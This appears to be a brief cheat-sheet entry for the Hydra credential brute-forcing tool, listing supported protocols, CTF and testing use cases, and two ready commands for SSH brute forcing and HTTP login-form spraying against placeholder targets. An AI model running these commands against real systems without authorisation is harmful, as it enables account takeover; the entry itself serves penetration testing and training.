// what it is
Description
Van Hauser / THC's classic. Sprays credentials at SSH, FTP, RDP, HTTP forms, SMTP, MySQL, MSSQL, Telnet, VNC, and dozens more. The default tool when you have a 'login form + a credential list'.
// use cases
What people use it for
- Brute-forcing SSH on a CTF box
- HTTP login form spraying
- RDP / VNC credential testing
// commands
The commands you'll type
SSH brute
$ hydra -L users.txt -P pass.txt ssh://10.0.0.5 -t 4HTTP form (POST)
$ hydra -l admin -P pass.txt target.tld http-post-form '/login.php:user=^USER^&pass=^PASS^:F=invalid'